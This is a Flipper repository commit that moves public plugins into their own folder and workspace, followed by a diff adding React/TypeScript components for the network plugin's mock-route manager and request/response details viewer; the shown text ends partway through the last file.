Plugin folders re-structuring

Summary:
Here I'm changing plugin repository structure to allow re-using of shared packages between both public and fb-internal plugins, and to ensure that public plugins has their own yarn.lock as this will be required to implement reproducible jobs checking plugin compatibility with released flipper versions.

Please note that there are a lot of moved files in this diff, make sure to click "Expand all" to see all that actually changed (there are not much of them actually).

New proposed structure for plugin packages:
```
- root
- node_modules - modules included into Flipper: flipper, flipper-plugin, react, antd, emotion
-- plugins
 --- node_modules - modules used by both public and fb-internal plugins (shared libs will be linked here, see D27034936)
 --- public
---- node_modules - modules used by public plugins
---- pluginA
----- node_modules - modules used by plugin A exclusively
---- pluginB
----- node_modules - modules used by plugin B exclusively
 --- fb
---- node_modules - modules used by fb-internal plugins
---- pluginC
----- node_modules - modules used by plugin C exclusively
---- pluginD
----- node_modules - modules used by plugin D exclusively
```
I've moved all public plugins under dir "plugins/public" and excluded them from root yarn workspaces. Instead, they will have their own yarn workspaces config and yarn.lock and they will use flipper modules as peer dependencies.

Reviewed By: mweststrate

Differential Revision: D27034108

fbshipit-source-id: c2310e3c5bfe7526033f51b46c0ae40199fd7586
This commit is contained in:
Anton Nikolaev
2021-04-09 05:15:14 -07:00
committed by Facebook GitHub Bot
parent 32bf4c32c2
commit b3274a8450
137 changed files with 2133 additions and 371 deletions

View File

@@ -0,0 +1,303 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
Button,
ManagedTable,
Text,
Glyph,
styled,
colors,
Panel,
} from 'flipper';
import React, {useContext, useState, useMemo, useEffect} from 'react';
import {Route, Request, Response} from './types';
import {MockResponseDetails} from './MockResponseDetails';
import {NetworkRouteContext} from './index';
import {RequestId} from './types';
import {message, Checkbox, Modal, Tooltip} from 'antd';
import {NUX, Layout} from 'flipper-plugin';
type Props = {
routes: {[id: string]: Route};
highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request};
responses: {[id: string]: Response};
};
const ColumnSizes = {route: 'flex'};
const Columns = {route: {value: 'Route', resizable: false}};
const TextEllipsis = styled(Text)({
overflowX: 'hidden',
textOverflow: 'ellipsis',
maxWidth: '100%',
lineHeight: '18px',
paddingTop: 4,
display: 'block',
whiteSpace: 'nowrap',
});
const Icon = styled(Glyph)({
marginTop: 5,
marginRight: 8,
});
// return ids that have the same pair of requestUrl and method; this will return only the duplicate
function _duplicateIds(routes: {[id: string]: Route}): Array<RequestId> {
const idSet: {[id: string]: {[method: string]: boolean}} = {};
return Object.entries(routes).reduce((acc: Array<RequestId>, [id, route]) => {
if (idSet.hasOwnProperty(route.requestUrl)) {
if (idSet[route.requestUrl].hasOwnProperty(route.requestMethod)) {
return acc.concat(id);
}
idSet[route.requestUrl] = {
...idSet[route.requestUrl],
[route.requestMethod]: true,
};
return acc;
} else {
idSet[route.requestUrl] = {[route.requestMethod]: true};
return acc;
}
}, []);
}
function _buildRows(
routes: {[id: string]: Route},
duplicatedIds: Array<string>,
handleRemoveId: (id: string) => void,
handleEnableId: (id: string) => void,
) {
return Object.entries(routes).map(([id, route]) => ({
columns: {
route: {
value: (
<RouteRow
key={id}
text={route.requestUrl}
showWarning={duplicatedIds.includes(id)}
handleRemoveId={() => handleRemoveId(id)}
handleEnableId={() => handleEnableId(id)}
enabled={route.enabled}
/>
),
},
},
key: id,
}));
}
function RouteRow(props: {
text: string;
showWarning: boolean;
handleRemoveId: () => void;
handleEnableId: () => void;
enabled: boolean;
}) {
const tip = props.enabled
? 'Un-check to disable mock route'
: 'Check to enable mock route';
return (
<Layout.Horizontal gap>
<Tooltip title={tip} mouseEnterDelay={1.1}>
<Checkbox
onClick={props.handleEnableId}
checked={props.enabled}></Checkbox>
</Tooltip>
<Tooltip title="Click to delete mock route" mouseEnterDelay={1.1}>
<Layout.Horizontal onClick={props.handleRemoveId}>
<Icon name="cross-circle" color={colors.red} />
</Layout.Horizontal>
</Tooltip>
{props.showWarning && (
<Icon name="caution-triangle" color={colors.yellow} />
)}
{props.text.length === 0 ? (
<TextEllipsis style={{color: colors.blackAlpha50}}>
untitled
</TextEllipsis>
) : (
<TextEllipsis>{props.text}</TextEllipsis>
)}
</Layout.Horizontal>
);
}
function ManagedMockResponseRightPanel(props: {
id: string;
route: Route;
isDuplicated: boolean;
}) {
const {id, route, isDuplicated} = props;
return (
<Panel
grow={true}
collapsable={false}
floating={false}
heading={'Route Info'}>
<MockResponseDetails
key={id}
id={id}
route={route}
isDuplicated={isDuplicated}
/>
</Panel>
);
}
export function ManageMockResponsePanel(props: Props) {
const networkRouteManager = useContext(NetworkRouteContext);
const [selectedId, setSelectedId] = useState<RequestId | null>(null);
useEffect(() => {
setSelectedId((selectedId) => {
const keys = Object.keys(props.routes);
let returnValue: string | null = null;
// selectId is null when there are no rows or it is the first time rows are shown
if (selectedId === null) {
if (keys.length === 0) {
// there are no rows
returnValue = null;
} else {
// first time rows are shown
returnValue = keys[0];
}
} else {
if (keys.includes(selectedId)) {
returnValue = selectedId;
} else {
// selectedId row value not in routes so default to first line
returnValue = keys[0];
}
}
return returnValue;
});
}, [props.routes]);
const duplicatedIds = useMemo(() => _duplicateIds(props.routes), [
props.routes,
]);
function getSelectedIds(): Set<string> {
const newSet = new Set<string>();
newSet.add(selectedId ?? '');
return newSet;
}
function getPreviousId(id: string): string | null {
const keys = Object.keys(props.routes);
const currentIndex = keys.indexOf(id);
if (currentIndex == 0) {
return null;
} else {
return keys[currentIndex - 1];
}
}
function getNextId(id: string): string | null {
const keys = Object.keys(props.routes);
const currentIndex = keys.indexOf(id);
if (currentIndex >= keys.length - 1) {
return getPreviousId(id);
} else {
return keys[currentIndex + 1];
}
}
return (
<Layout.Container style={{height: 550}}>
<Layout.Left>
<Layout.Container width={450} pad={10} gap={5}>
<Layout.Horizontal gap>
<Button
onClick={() => {
const newId = networkRouteManager.addRoute();
setSelectedId(newId);
}}>
Add Route
</Button>
<NUX
title="It is now possible to highlight calls from the network call list and convert them into mock routes."
placement="bottom">
<Button
onClick={() => {
if (
!props.highlightedRows ||
props.highlightedRows.size == 0
) {
message.info('No network calls have been highlighted');
return;
}
networkRouteManager.copyHighlightedCalls(
props.highlightedRows as Set<string>,
props.requests,
props.responses,
);
}}>
Copy Highlighted Calls
</Button>
</NUX>
</Layout.Horizontal>
<Panel
padded={false}
grow={true}
collapsable={false}
floating={false}
heading={'Routes'}>
<ManagedTable
hideHeader={true}
multiline={false}
columnSizes={ColumnSizes}
columns={Columns}
rows={_buildRows(
props.routes,
duplicatedIds,
(id) => {
Modal.confirm({
title: 'Are you sure you want to delete this item?',
icon: '',
onOk() {
const nextId = getNextId(id);
networkRouteManager.removeRoute(id);
setSelectedId(nextId);
},
onCancel() {},
});
},
(id) => {
networkRouteManager.enableRoute(id);
},
)}
stickyBottom={true}
autoHeight={false}
floating={false}
zebra={false}
onRowHighlighted={(selectedIds) => {
const newSelectedId =
selectedIds.length === 1 ? selectedIds[0] : null;
setSelectedId(newSelectedId);
}}
highlightedRows={getSelectedIds()}
/>
</Panel>
</Layout.Container>
<Layout.Container>
{selectedId && props.routes.hasOwnProperty(selectedId) && (
<ManagedMockResponseRightPanel
id={selectedId}
route={props.routes[selectedId]}
isDuplicated={duplicatedIds.includes(selectedId)}
/>
)}
</Layout.Container>
</Layout.Left>
</Layout.Container>
);
}

View File

@@ -0,0 +1,362 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
FlexRow,
FlexColumn,
Layout,
Button,
Input,
Text,
Tabs,
Tab,
Glyph,
ManagedTable,
Select,
styled,
colors,
produce,
} from 'flipper';
import React, {useContext, useState} from 'react';
import {NetworkRouteContext, NetworkRouteManager} from './index';
import {RequestId, Route} from './types';
type Props = {
id: RequestId;
route: Route;
isDuplicated: boolean;
};
const StyledSelectContainer = styled(FlexRow)({
paddingLeft: 6,
paddingTop: 2,
paddingBottom: 24,
height: '100%',
flexGrow: 1,
});
const StyledSelect = styled(Select)({
height: '100%',
maxWidth: 400,
});
const StyledText = styled(Text)({
marginLeft: 6,
marginTop: 8,
});
const textAreaStyle: React.CSSProperties = {
width: '100%',
marginTop: 8,
height: 400,
fontSize: 15,
color: '#333',
padding: 10,
resize: 'none',
fontFamily:
'source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace',
display: 'inline-block',
lineHeight: 1.5,
border: '1px solid #dcdee2',
borderRadius: 4,
backgroundColor: '#fff',
cursor: 'text',
WebkitTapHighlightColor: 'transparent',
whiteSpace: 'pre-wrap',
overflowWrap: 'break-word',
};
const StyledInput = styled(Input)({
width: '100%',
height: 20,
marginLeft: 8,
flexGrow: 5,
});
const HeaderStyledInput = styled(Input)({
width: '100%',
height: 20,
marginTop: 6,
marginBottom: 6,
});
const HeaderGlyph = styled(Glyph)({
marginTop: 6,
marginBottom: 6,
});
const Container = styled(FlexColumn)({
flexWrap: 'nowrap',
alignItems: 'flex-start',
alignContent: 'flex-start',
flexGrow: 1,
overflow: 'hidden',
});
const Warning = styled(FlexRow)({
marginTop: 8,
});
const HeadersColumnSizes = {
close: '4%',
warning: '4%',
name: '35%',
value: 'flex',
};
const HeadersColumns = {
close: {
value: '',
resizable: false,
},
warning: {
value: '',
resizable: false,
},
name: {
value: 'Name',
resizable: false,
},
value: {
value: 'Value',
resizable: false,
},
};
const selectedHighlight = {backgroundColor: colors.highlight};
function HeaderInput(props: {
initialValue: string;
isSelected: boolean;
onUpdate: (newValue: string) => void;
}) {
const [value, setValue] = useState(props.initialValue);
return (
<HeaderStyledInput
type="text"
placeholder="Name"
value={value}
style={props.isSelected ? selectedHighlight : undefined}
onChange={(event) => setValue(event.target.value)}
onBlur={() => props.onUpdate(value)}
/>
);
}
function _buildMockResponseHeaderRows(
routeId: string,
route: Route,
selectedHeaderId: string | null,
networkRouteManager: NetworkRouteManager,
) {
return Object.entries(route.responseHeaders).map(([id, header]) => {
const selected = selectedHeaderId === id;
return {
columns: {
name: {
value: (
<HeaderInput
initialValue={header.key}
isSelected={selected}
onUpdate={(newValue: string) => {
const newHeaders = produce(
route.responseHeaders,
(draftHeaders) => {
draftHeaders[id].key = newValue;
},
);
networkRouteManager.modifyRoute(routeId, {
responseHeaders: newHeaders,
});
}}
/>
),
},
value: {
value: (
<HeaderInput
initialValue={header.value}
isSelected={selected}
onUpdate={(newValue: string) => {
const newHeaders = produce(
route.responseHeaders,
(draftHeaders) => {
draftHeaders[id].value = newValue;
},
);
networkRouteManager.modifyRoute(routeId, {
responseHeaders: newHeaders,
});
}}
/>
),
},
close: {
value: (
<Layout.Container
onClick={() => {
const newHeaders = produce(
route.responseHeaders,
(draftHeaders) => {
delete draftHeaders[id];
},
);
networkRouteManager.modifyRoute(routeId, {
responseHeaders: newHeaders,
});
}}>
<HeaderGlyph name="cross-circle" color={colors.red} />
</Layout.Container>
),
},
},
key: id,
};
});
}
export function MockResponseDetails({id, route, isDuplicated}: Props) {
const networkRouteManager = useContext(NetworkRouteContext);
const [activeTab, setActiveTab] = useState<string>('data');
const [selectedHeaderIds, setSelectedHeaderIds] = useState<Array<RequestId>>(
[],
);
const [nextHeaderId, setNextHeaderId] = useState(0);
const {requestUrl, requestMethod, responseData, responseStatus} = route;
let formattedResponse = '';
try {
formattedResponse = JSON.stringify(JSON.parse(responseData), null, 2);
} catch (e) {
formattedResponse = responseData;
}
return (
<Container>
<FlexRow style={{width: '100%'}}>
<StyledSelectContainer>
<StyledSelect
grow={true}
selected={requestMethod}
options={{
GET: 'GET',
POST: 'POST',
PATCH: 'PATCH',
HEAD: 'HEAD',
PUT: 'PUT',
DELETE: 'DELETE',
TRACE: 'TRACE',
OPTIONS: 'OPTIONS',
CONNECT: 'CONNECT',
}}
onChange={(text: string) =>
networkRouteManager.modifyRoute(id, {requestMethod: text})
}
/>
</StyledSelectContainer>
<StyledInput
type="text"
placeholder="URL"
value={requestUrl}
onChange={(event) =>
networkRouteManager.modifyRoute(id, {
requestUrl: event.target.value,
})
}
/>
</FlexRow>
<FlexRow style={{width: '20%'}}>
<StyledInput
type="text"
placeholder="STATUS"
value={responseStatus}
onChange={(event) =>
networkRouteManager.modifyRoute(id, {
responseStatus: event.target.value,
})
}
/>
</FlexRow>
{isDuplicated && (
<Warning>
<Glyph name="caution-triangle" color={colors.yellow} />
<Text style={{marginLeft: 5}}>
Route is duplicated (Same URL and Method)
</Text>
</Warning>
)}
<StyledText />
<Tabs
active={activeTab}
onActive={(newActiveTab) => {
if (newActiveTab != null) {
setActiveTab(newActiveTab);
}
}}>
<Tab key={'data'} label={'Data'}>
<textarea
style={textAreaStyle}
wrap="soft"
autoComplete="off"
spellCheck={false}
value={formattedResponse}
onChange={(event) =>
networkRouteManager.modifyRoute(id, {
responseData: event.target.value,
})
}
/>
</Tab>
<Tab key={'headers'} label={'Headers'}>
<Layout.Container style={{width: '100%'}}>
<Layout.Horizontal>
<Button
onClick={() => {
const newHeaders = {
...route.responseHeaders,
[nextHeaderId.toString()]: {key: '', value: ''},
};
setNextHeaderId(nextHeaderId + 1);
networkRouteManager.modifyRoute(id, {
responseHeaders: newHeaders,
});
}}
compact
padded
style={{marginBottom: 10}}>
Add Header
</Button>
</Layout.Horizontal>
<Layout.ScrollContainer>
<ManagedTable
hideHeader={true}
multiline={true}
columnSizes={HeadersColumnSizes}
columns={HeadersColumns}
rows={_buildMockResponseHeaderRows(
id,
route,
selectedHeaderIds.length === 1 ? selectedHeaderIds[0] : null,
networkRouteManager,
)}
stickyBottom={true}
autoHeight={true}
floating={false}
zebra={false}
onRowHighlighted={setSelectedHeaderIds}
highlightedRows={new Set(selectedHeaderIds)}
/>
</Layout.ScrollContainer>
</Layout.Container>
</Tab>
</Tabs>
</Container>
);
}

View File

@@ -0,0 +1,83 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Button, styled, Layout, Spacer} from 'flipper';
import {ManageMockResponsePanel} from './ManageMockResponsePanel';
import {Route, Request, Response} from './types';
import React from 'react';
import {NetworkRouteContext} from './index';
import {useContext} from 'react';
type Props = {
routes: {[id: string]: Route};
onHide: () => void;
highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request};
responses: {[id: string]: Response};
};
const Title = styled('div')({
fontWeight: 500,
marginBottom: 10,
marginTop: 8,
});
const StyledContainer = styled(Layout.Container)({
padding: 10,
width: 1200,
});
export function MockResponseDialog(props: Props) {
const networkRouteManager = useContext(NetworkRouteContext);
return (
<StyledContainer pad gap width={1200}>
<Title>Mock Network Responses</Title>
<Layout.Container>
<ManageMockResponsePanel
routes={props.routes}
highlightedRows={props.highlightedRows}
requests={props.requests}
responses={props.responses}
/>
</Layout.Container>
<Layout.Horizontal gap>
<Button
compact
padded
onClick={() => {
networkRouteManager.importRoutes();
}}>
Import
</Button>
<Button
compact
padded
onClick={() => {
networkRouteManager.exportRoutes();
}}>
Export
</Button>
<Button
compact
padded
onClick={() => {
networkRouteManager.clearRoutes();
}}>
Clear
</Button>
<Spacer />
<Button compact padded onClick={props.onHide}>
Close
</Button>
</Layout.Horizontal>
</StyledContainer>
);
}

View File

@@ -0,0 +1,889 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Request, Response, Header, Insights, RetryInsights} from './types';
import {
Component,
FlexColumn,
ManagedTable,
ManagedDataInspector,
Text,
Panel,
Select,
styled,
colors,
SmallText,
} from 'flipper';
import {decodeBody, getHeaderValue} from './utils';
import {formatBytes, BodyOptions} from './index';
import React from 'react';
import querystring from 'querystring';
import xmlBeautifier from 'xml-beautifier';
const WrappingText = styled(Text)({
wordWrap: 'break-word',
width: '100%',
lineHeight: '125%',
padding: '3px 0',
});
const KeyValueColumnSizes = {
key: '30%',
value: 'flex',
};
const KeyValueColumns = {
key: {
value: 'Key',
resizable: false,
},
value: {
value: 'Value',
resizable: false,
},
};
type RequestDetailsProps = {
request: Request;
response: Response | null | undefined;
bodyFormat: string;
onSelectFormat: (bodyFormat: string) => void;
};
export default class RequestDetails extends Component<RequestDetailsProps> {
static Container = styled(FlexColumn)({
height: '100%',
overflow: 'auto',
});
urlColumns = (url: URL) => {
return [
{
columns: {
key: {value: <WrappingText>Full URL</WrappingText>},
value: {
value: <WrappingText>{url.href}</WrappingText>,
},
},
copyText: url.href,
key: 'url',
},
{
columns: {
key: {value: <WrappingText>Host</WrappingText>},
value: {
value: <WrappingText>{url.host}</WrappingText>,
},
},
copyText: url.host,
key: 'host',
},
{
columns: {
key: {value: <WrappingText>Path</WrappingText>},
value: {
value: <WrappingText>{url.pathname}</WrappingText>,
},
},
copyText: url.pathname,
key: 'path',
},
{
columns: {
key: {value: <WrappingText>Query String</WrappingText>},
value: {
value: <WrappingText>{url.search}</WrappingText>,
},
},
copyText: url.search,
key: 'query',
},
];
};
render() {
const {request, response, bodyFormat, onSelectFormat} = this.props;
const url = new URL(request.url);
const formattedText = bodyFormat == BodyOptions.formatted;
return (
<RequestDetails.Container>
<Panel
key="request"
heading={'Request'}
floating={false}
padded={false}>
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={this.urlColumns(url)}
autoHeight={true}
floating={false}
zebra={false}
/>
</Panel>
{url.search ? (
<Panel
heading={'Request Query Parameters'}
floating={false}
padded={false}>
<QueryInspector queryParams={url.searchParams} />
</Panel>
) : null}
{request.headers.length > 0 ? (
<Panel
key="headers"
heading={'Request Headers'}
floating={false}
padded={false}>
<HeaderInspector headers={request.headers} />
</Panel>
) : null}
{request.data != null ? (
<Panel
key="requestData"
heading={'Request Body'}
floating={false}
padded={!formattedText}>
<RequestBodyInspector
formattedText={formattedText}
request={request}
/>
</Panel>
) : null}
{response ? (
<>
{response.headers.length > 0 ? (
<Panel
key={'responseheaders'}
heading={`Response Headers${
response.isMock ? ' (Mocked)' : ''
}`}
floating={false}
padded={false}>
<HeaderInspector headers={response.headers} />
</Panel>
) : null}
<Panel
key={'responsebody'}
heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
floating={false}
padded={!formattedText}>
<ResponseBodyInspector
formattedText={formattedText}
request={request}
response={response}
/>
</Panel>
</>
) : null}
<Panel
key="options"
heading={'Options'}
floating={false}
collapsed={true}>
<Select
grow
label="Body"
selected={bodyFormat}
onChange={onSelectFormat}
options={BodyOptions}
/>
</Panel>
{response && response.insights ? (
<Panel
key="insights"
heading={'Insights'}
floating={false}
collapsed={true}>
<InsightsInspector insights={response.insights} />
</Panel>
) : null}
</RequestDetails.Container>
);
}
}
class QueryInspector extends Component<{queryParams: URLSearchParams}> {
render() {
const {queryParams} = this.props;
const rows: any = [];
queryParams.forEach((value: string, key: string) => {
rows.push({
columns: {
key: {
value: <WrappingText>{key}</WrappingText>,
},
value: {
value: <WrappingText>{value}</WrappingText>,
},
},
copyText: value,
key: key,
});
});
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}
type HeaderInspectorProps = {
headers: Array<Header>;
};
type HeaderInspectorState = {
computedHeaders: Object;
};
class HeaderInspector extends Component<
HeaderInspectorProps,
HeaderInspectorState
> {
render() {
const computedHeaders: Map<string, string> = this.props.headers.reduce(
(sum, header) => {
return sum.set(header.key, header.value);
},
new Map(),
);
const rows: any = [];
Array.from(computedHeaders.entries())
.sort((a, b) => (a[0] < b[0] ? -1 : a[0] == b[0] ? 0 : 1))
.forEach(([key, value]) => {
rows.push({
columns: {
key: {
value: <WrappingText>{key}</WrappingText>,
},
value: {
value: <WrappingText>{value}</WrappingText>,
},
},
copyText: value,
key,
});
});
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}
const BodyContainer = styled.div({
paddingTop: 10,
paddingBottom: 20,
});
type BodyFormatter = {
formatRequest?: (request: Request) => any;
formatResponse?: (request: Request, response: Response) => any;
};
class RequestBodyInspector extends Component<{
request: Request;
formattedText: boolean;
}> {
render() {
const {request, formattedText} = this.props;
if (request.data == null || request.data.trim() === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
for (const formatter of bodyFormatters) {
if (formatter.formatRequest) {
try {
const component = formatter.formatRequest(request);
if (component) {
return (
<BodyContainer>
{component}
<FormattedBy>
Formatted by {formatter.constructor.name}
</FormattedBy>
</BodyContainer>
);
}
} catch (e) {
console.warn(
'BodyFormatter exception from ' + formatter.constructor.name,
e.message,
);
}
}
}
return renderRawBody(request);
}
}
class ResponseBodyInspector extends Component<{
response: Response;
request: Request;
formattedText: boolean;
}> {
render() {
const {request, response, formattedText} = this.props;
if (response.data == null || response.data.trim() === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
for (const formatter of bodyFormatters) {
if (formatter.formatResponse) {
try {
const component = formatter.formatResponse(request, response);
if (component) {
return (
<BodyContainer>
{component}
<FormattedBy>
Formatted by {formatter.constructor.name}
</FormattedBy>
</BodyContainer>
);
}
} catch (e) {
console.warn(
'BodyFormatter exception from ' + formatter.constructor.name,
e.message,
);
}
}
}
return renderRawBody(response);
}
}
const FormattedBy = styled(SmallText)({
marginTop: 8,
fontSize: '0.7em',
textAlign: 'center',
display: 'block',
});
const Empty = () => (
<BodyContainer>
<Text>(empty)</Text>
</BodyContainer>
);
function renderRawBody(container: Request | Response) {
// TODO: we want decoding only for non-binary data! See D23403095
const decoded = decodeBody(container);
return (
<BodyContainer>
{decoded ? (
<Text selectable wordWrap="break-word">
{decoded}
</Text>
) : (
<>
<FormattedBy>(Failed to decode)</FormattedBy>
<Text selectable wordWrap="break-word">
{container.data}
</Text>
</>
)}
</BodyContainer>
);
}
const MediaContainer = styled(FlexColumn)({
alignItems: 'center',
justifyContent: 'center',
width: '100%',
});
type ImageWithSizeProps = {
src: string;
};
type ImageWithSizeState = {
width: number;
height: number;
};
class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
static Image = styled.img({
objectFit: 'scale-down',
maxWidth: '100%',
marginBottom: 10,
});
static Text = styled(Text)({
color: colors.dark70,
fontSize: 14,
});
constructor(props: ImageWithSizeProps, context: any) {
super(props, context);
this.state = {
width: 0,
height: 0,
};
}
componentDidMount() {
const image = new Image();
image.src = this.props.src;
image.onload = () => {
image.width;
image.height;
this.setState({
width: image.width,
height: image.height,
});
};
}
render() {
return (
<MediaContainer>
<ImageWithSize.Image src={this.props.src} />
<ImageWithSize.Text>
{this.state.width} x {this.state.height}
</ImageWithSize.Text>
</MediaContainer>
);
}
}
class ImageFormatter {
formatResponse = (request: Request, response: Response) => {
if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
if (response.data) {
const src = `data:${getHeaderValue(
response.headers,
'content-type',
)};base64,${response.data}`;
return <ImageWithSize src={src} />;
} else {
// fallback to using the request url
return <ImageWithSize src={request.url} />;
}
}
};
}
class VideoFormatter {
static Video = styled.video({
maxWidth: 500,
maxHeight: 500,
});
formatResponse = (request: Request, response: Response) => {
const contentType = getHeaderValue(response.headers, 'content-type');
if (contentType.startsWith('video/')) {
return (
<MediaContainer>
<VideoFormatter.Video controls={true}>
<source src={request.url} type={contentType} />
</VideoFormatter.Video>
</MediaContainer>
);
}
};
}
class JSONText extends Component<{children: any}> {
static NoScrollbarText = styled(Text)({
overflowY: 'hidden',
});
render() {
const jsonObject = this.props.children;
return (
<JSONText.NoScrollbarText code whiteSpace="pre" selectable>
{JSON.stringify(jsonObject, null, 2)}
{'\n'}
</JSONText.NoScrollbarText>
);
}
}
class XMLText extends Component<{body: any}> {
static NoScrollbarText = styled(Text)({
overflowY: 'hidden',
});
render() {
const xmlPretty = xmlBeautifier(this.props.body);
return (
<XMLText.NoScrollbarText code whiteSpace="pre" selectable>
{xmlPretty}
{'\n'}
</XMLText.NoScrollbarText>
);
}
}
class JSONTextFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (_request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return <JSONText>{data}</JSONText>;
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
return body
.split('\n')
.map((json) => JSON.parse(json))
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
}
}
};
}
class XMLTextFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (_request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (contentType.startsWith('text/html')) {
return <XMLText body={body} />;
}
};
}
class JSONFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (_request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return (
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={data}
/>
);
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
const roots = body.split('\n');
return (
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={roots.map((json) => JSON.parse(json))}
/>
);
}
}
};
}
class LogEventFormatter {
formatRequest = (request: Request) => {
if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(request));
if (typeof data.message === 'string') {
data.message = JSON.parse(data.message);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
class GraphQLBatchFormatter {
formatRequest = (request: Request) => {
if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(request));
if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
class GraphQLFormatter {
parsedServerTimeForFirstFlush = (data: any) => {
const firstResponse =
Array.isArray(data) && data.length > 0 ? data[0] : data;
if (!firstResponse) {
return null;
}
const extensions = firstResponse['extensions'];
if (!extensions) {
return null;
}
const serverMetadata = extensions['server_metadata'];
if (!serverMetadata) {
return null;
}
const requestStartMs = serverMetadata['request_start_time_ms'];
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
return (
<WrappingText>
{'Server wall time for initial response (ms): ' +
(timeAtFlushMs - requestStartMs)}
</WrappingText>
);
};
formatRequest = (request: Request) => {
if (request.url.indexOf('graphql') > 0) {
const decoded = decodeBody(request);
if (!decoded) {
return undefined;
}
const data = querystring.parse(decoded);
if (typeof data.variables === 'string') {
data.variables = JSON.parse(data.variables);
}
if (typeof data.query_params === 'string') {
data.query_params = JSON.parse(data.query_params);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
formatResponse = (_request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('text/html') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return (
<div>
{this.parsedServerTimeForFirstFlush(data)}
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={data}
/>
</div>
);
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
const parsedResponses = body
.replace(/}{/g, '}\r\n{')
.split('\n')
.map((json) => JSON.parse(json));
return (
<div>
{this.parsedServerTimeForFirstFlush(parsedResponses)}
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={parsedResponses}
/>
</div>
);
}
}
};
}
class FormUrlencodedFormatter {
formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.headers, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) {
const decoded = decodeBody(request);
if (!decoded) {
return undefined;
}
return (
<ManagedDataInspector
expandRoot={true}
data={querystring.parse(decoded)}
/>
);
}
};
}
class BinaryFormatter {
formatRequest(request: Request) {
return this.format(request);
}
formatResponse(_request: Request, response: Response) {
return this.format(response);
}
format(container: Request | Response) {
if (
getHeaderValue(container.headers, 'content-type') ===
'application/octet-stream'
) {
return '(binary data)'; // we could offer a download button here?
}
return undefined;
}
}
const BodyFormatters: Array<BodyFormatter> = [
new ImageFormatter(),
new VideoFormatter(),
new LogEventFormatter(),
new GraphQLBatchFormatter(),
new GraphQLFormatter(),
new JSONFormatter(),
new FormUrlencodedFormatter(),
new XMLTextFormatter(),
new BinaryFormatter(),
];
const TextBodyFormatters: Array<BodyFormatter> = [new JSONTextFormatter()];
class InsightsInspector extends Component<{insights: Insights}> {
formatTime(value: number): string {
return `${value} ms`;
}
formatSpeed(value: number): string {
return `${formatBytes(value)}/sec`;
}
formatRetries(retry: RetryInsights): string {
const timesWord = retry.limit === 1 ? 'time' : 'times';
return `${this.formatTime(retry.timeSpent)} (${
retry.count
} ${timesWord} out of ${retry.limit})`;
}
buildRow<T>(
name: string,
